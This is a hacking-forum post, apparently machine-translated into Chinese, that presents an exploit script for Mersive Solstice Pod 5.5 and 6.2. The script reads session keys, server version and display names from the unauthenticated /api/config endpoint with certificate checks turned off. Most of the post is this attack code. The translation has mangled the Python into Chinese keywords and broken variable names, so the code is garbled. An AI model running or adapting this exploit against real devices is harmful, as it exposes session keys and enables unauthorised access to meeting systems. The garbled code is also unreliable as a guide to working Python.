H

Solstice POD 6.2 -API会话键提取API端点

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Solstice POD API会话键通过API端点提取
#Google Dork: N/A
#日期: 1/17/2025
#利用作者:鲍德温学校道德黑客
#供应商homepage: https://www.mersive.com/
#软件link: https://documentation.mersive.com/en/solstice/about-solstice.html
#版本: 5.5,6.2
#在: Windows 10,MacOS,Linux上测试
#CVE: N/A。
#description:此漏洞利用溶剂吊舱上的未经验证的API端点(/api/config)的优势,该POD会暴露敏感信息,例如会话密钥,服务器版本,产品详细信息和显示名称。通过无需身份验证即可访问此端点,攻击者可以提取实时会话信息。
#NOTES:此脚本从Solstice Pod API中提取会话密钥,服务器版本,产品名称,产品变体和显示名称。它不需要身份验证即可与脆弱的/api/config端点进行交互。
#IMPACT:未经授权的用户可以提取与会话相关的信息而无需认证。暴露的数据可能会导致进一步的剥削或未经授权的访问。
#!/usr/bin/env Python3
导入请求
导入SSL
从请求。适配器导入httpadapter
来自urllib3.poolmanager导入PoolManager
#创建一个适配器来指定SSL/TLS版本并禁用主机名验证
SSLADAPTER类(HTTPADAPTER):
def __init __(self,ssl_context=none,** kwargs):
#设置默认上下文如果没有提供
如果ssl_context是无:
ssl_context=ssl.create_default_context()
ssl_context.set_ciphers('tlsv1.2')#强制tlsv1.2(或者在需要时调整到其他版本)
ssl_context.check_hostname=false#禁用主机名检查
ssl_context.verify_mode=ssl.cert_none#禁用证书验证
self.ssl_context=ssl_context
super().__ init __(** kwargs)
def init_poolmanager(self, args,* kwargs):
kwargs ['ssl_context']=self.ssl_context
返回super()。init_poolmanager(args,* kwargs)
#提示用户进行IP地址
ip_address=输入('请输入IP地址:')
#用提供的IP地址格式化URL
url=f'https://{ip_address} :8443/api/config'
#创建一个会话并安装适配器
session=requests.session()
适配器=ssladapter()
session.mount('https://',适配器)
#将请求发送到IP地址
响应=session.get(url,verify=false)#verify=false忽略证书警告
if antsphy.status_code==200:
#解析JSON回应
data=reverse.json()
#从响应中提取SessionKey,Serverversion,productname,product variant和displayName值
session_key=data.get('m_authenticationcuration',{})。get('sessionkey')
server_version=data.get('m_serverversion')
product_name=data.get('m_productname')
product_variant=data.get('m_productvariant')
display_name=data.get('m_displayinformation',{})。get('m_displayname')
#打印提取的值
如果Session_Key:
打印(f'Session key: {session_key}')
其他:
打印(“响应中找不到sessionkey。”)
如果Server_version:
打印(f'Server版本: {server_version}')
其他:
打印(“响应中找不到服务器”。)
如果product_name:
打印(f'product name: {product_name}')
其他:
打印(“响应中未找到productname”。)
如果product_variant:
打印(f'product variant: {product_variant}')
其他:
打印(“响应中找不到product variant。”)
如果display_name:
打印(f'display name: {display_name}')
其他:
打印(“响应中找不到显示名称”。)
其他:
打印(f'fail for torive数据。HTTP状态代码: {response.status_code}')
 
后退
顶部